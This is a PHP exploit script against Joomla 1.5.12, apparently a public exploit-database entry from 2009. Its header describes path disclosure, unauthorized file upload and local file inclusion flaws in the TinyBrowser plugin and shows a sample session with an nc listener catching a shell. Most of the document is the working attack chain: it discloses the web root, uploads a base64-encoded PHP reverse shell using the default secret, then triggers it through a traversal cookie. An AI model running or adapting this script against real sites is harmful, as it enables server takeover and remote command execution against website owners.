#!/usr/bin/php
<?php
/*
	Copyright (c) ITIX LTD

	This program is free software: you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation, either version 3 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program.  If not, see <http://www.gnu.org/licenses/>.

	TITLE:		Joomla 1.5.12 connect back exploit
	AUTHOR:		Nikola Petrov (vp.nikola@gmail.com)
	VERSION:	1.0
	LICENSE:	GNU General Public License

	Platform: Joomla 1.5.12
	Vulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)
	Date: 27.08.2009

	Joomla 1.5.12 suffers from different kinds of vulnerabilities:
		- path disclosure
		- unauthorized file upload
		- local file inclusion

	I heard of unauthorized file upload in Joomla 1.5.12 and I decided to make some research on the topic. Soon after
	that I found two more vulnerabilities - path disclosure and local file inclusion. Maybe there are more vulnerabilities
	but these are enough to get a connection back from the server.

	Path disclosure: joomla/libraries/joomla/client/ldap.php
	Unauthorized file upload: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php (upload_file.php)
	Local file inclusion: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php

	Here is the LFI vulnerability:
	-- snip-snip: folders.php --
	<?php
		require_once('config_tinybrowser.php');
		// Set language

		if(isset($tinybrowser['language']) && file_exists('langs/'.$tinybrowser['language'].'.php')) {
			require_once('langs/'.$tinybrowser['language'].'.php');
		}
		else {
			require_once('langs/en.php'); // Falls back to English
		}
		...
	-- snip-snip --

	[wadmin@M01 1.5.12]$ ./jtiny-1-5-12.php localhost 80 / localhost 9090

	[+] web root: /var/www/html
	[+] tinybrowser secret: s0merand0mjunk!!!111
	[+] Shell successfully uploaded.
	[+] Executing shell...
	[wadmin@M01 1.5.12]$

	[wadmin@M01 /]$ nc -vvv -l 9090
	Connection from 127.0.0.1 port 9090 [tcp/websm] accepted
	id && uname -a
	uid=48(apache) gid=48(apache) groups=48(apache)
	Linux M01 2.6.30 #1 SMP Tue Jun 16 19:34:59 EEST 2009 i686 i686 i386 GNU/Linux
	exit
	[wadmin@M01 /]$
*/

	if($argc < 6) {
		print "\tvulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";
		print "\tusage: ./jtiny-1-5-12.php <remote host> <remote port> <remote path> <local address> <local port> [remote doc root] [tinybrowser secret/obfuscate]\n";
		print "\texample: jtiny-1-5-12.php localhost 80 / localhost 9090\n\n";
		exit();
	}

	$RemoteHost	= $argv[1];
	$RemotePort	= $argv[2];
	$RemotePath	= $argv[3];
	$LocalAddress	= $argv[4];
	$LocalPort	= $argv[5];

	if($argc == 7) $RemoteDocRoot = $argv[6];
	else $RemoteDocRoot = getRemoteDocRoot($RemoteHost, $RemotePath);

	if($argc == 8) $Secret = $argv[7];
	else $Secret = "s0merand0mjunk!!!111";

	print "[+] web root: $RemoteDocRoot\n";
	print "[+] tinybrowser secret: $Secret\n";

	$Shell =
		"PD9waHAKCSRBZGRyZXNzID0gJF9HRVRbJ19yYWRkcmVz".
		"cyddOwoJJFBvcnQgPSAkX0dFVFsnX3Jwb3J0J107CgoJ".
		"QCRTb2NrZXQgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgi".
		"dGNwOi8vJEFkZHJlc3M6JFBvcnQiKSBvciBkaWUoIkNh".
		"bm5vdCBjb25uZWN0IGJhY2sgYXQgJEFkZHJlc3M6JFBv".
		"cnRcbiIpOwoJJFByb2MgPSBwcm9jX29wZW4oJy9iaW4v".
		"c2gnICxhcnJheShhcnJheSgncGlwZScsJ3InKSAsYXJy".
		"YXkoJ3BpcGUnLCd3JykgLGFycmF5KCdwaXBlJywndycp".
		"KSwgJFApOwoJCgkkUEk9JFBbMF07CgkkUE89JFBbMV07".
		"CgkkUEU9JFBbMl07CgoJJE51bGwgPSBudWxsOwoKCXdo".
		"aWxlKDEpIHsKCQkkU0w9YXJyYXkoJFNvY2tldCwkUE8s".
		"JFBFKTsKCQlzdHJlYW1fc2VsZWN0KCRTTCwgJE51bGws".
		"ICROdWxsLCAxKTsKCgkJZm9yZWFjaCgkU0wgYXMgJiRW".
		"KSAgewoJCQlpZigkVj09PSRTb2NrZXQpIGZ3cml0ZSgk".
		"UEksZnJlYWQoJFNvY2tldCwgNDA5NikpOwoJCQllbHNl".
		"aWYgKCRWPT09JFBPKSBmd3JpdGUoJFNvY2tldCxmcmVh".
		"ZCgkUE8sIDQwOTYpKTsKCQkJZWxzZWlmKCRWPT09JFBF".
		"KSBmd3JpdGUoJFNvY2tldCxmcmVhZCgkUEUsIDQwOTYp".
		"KTsKCQkJaWYoZmVvZigkU29ja2V0KSB8fCBmZW9mKCRQ".
		"TykpIGV4aXQ7CgkJfQoJfQo/Pgo=";

	$File = fopen("./_shell", "w") or die("Cannot open: ./_shell");
	fwrite($File, base64_decode($Shell));
	fclose($File);

	#print "uploadFile($RemoteHost, $RemotePath, ./_shell, md5($RemoteDocRoot.$Secret)\n";
	if(uploadFile($RemoteHost, $RemotePath, "./_shell", md5($RemoteDocRoot.$Secret)) == false) {
		print "[-] Cannot upload shell.\n\n";
		unlink("_shell");
		exit();
	}
	else print "[+] Shell successfully uploaded.\n";
	unlink("_shell");

	print "[+] Executing shell...\n";
	shellExec($RemoteHost, $RemotePath, $RemoteDocRoot, $LocalAddress, $LocalPort);

	function getRemoteDocRoot($aRemoteHost, $aRemotePath) {
		$Client = curl_init();

		curl_setopt($Client, CURLOPT_URL, $aRemoteHost . $aRemotePath . "/libraries/joomla/client/ldap.php");
		curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
		curl_setopt($Client, CURLOPT_HEADER, 0);

		$Response = curl_exec($Client);
		if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
			print "[-] getRemoteDocRoot() recieved http code $HttpCode.\n";
			exit();
		}


		curl_close($Client);

		$Step1 = strpos($Response, "not found in <b>") + 16;
		$Step2 = strpos($Response, "/libraries/joomla/");

		if(strlen($aRemotePath) > 1) return substr(substr($Response, $Step1, $Step2 - $Step1), 0, -strlen($aRemotePath));
		else return substr($Response, $Step1, $Step2 - $Step1);
	}

	function uploadFile($aRemoteHost, $aRemotePath, $aFilePath, $aSecret) {
	  	$Client = curl_init("http://$aRemoteHost$aRemotePath/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=". $aRemotePath ."/images/stories&type=image&feid=&obfuscate=$aSecret&sessidpass=");

	  	curl_setopt($Client, CURLOPT_POSTFIELDS, array('Filedata'=>"@$aFilePath"));
	  	curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1);

	  	$Response = curl_exec($Client);
		if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
			print "[-] uploadFile() recieved http code $HttpCode.\n";
			exit();
		}

		curl_close($Client);

	  	return strpos($Response, "File Upload Success");
	}

	function shellExec($aRemoteHost, $aRemotePath, $aRemoteDocRoot, $aLocalAddress, $aLocalPort) {
		$Shell = "../../../../../../../../../../../../../../../../../../../../../../../../../../". $aRemoteDocRoot . $aRemotePath ."/images/stories/_shell_%00";

		$VulnerableFile = $aRemoteHost . $aRemotePath . "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php?_raddress=$aLocalAddress&_rport=$aLocalPort";


		$Client = curl_init();

		curl_setopt($Client, CURLOPT_URL, $VulnerableFile);
		curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
		curl_setopt($Client, CURLOPT_HEADER, 0);
		curl_setopt($Client, CURLOPT_COOKIE, "tinybrowser_lang=$Shell");

		$Response = curl_exec($Client);
		curl_close($Client);

		print $Response;
	}
?>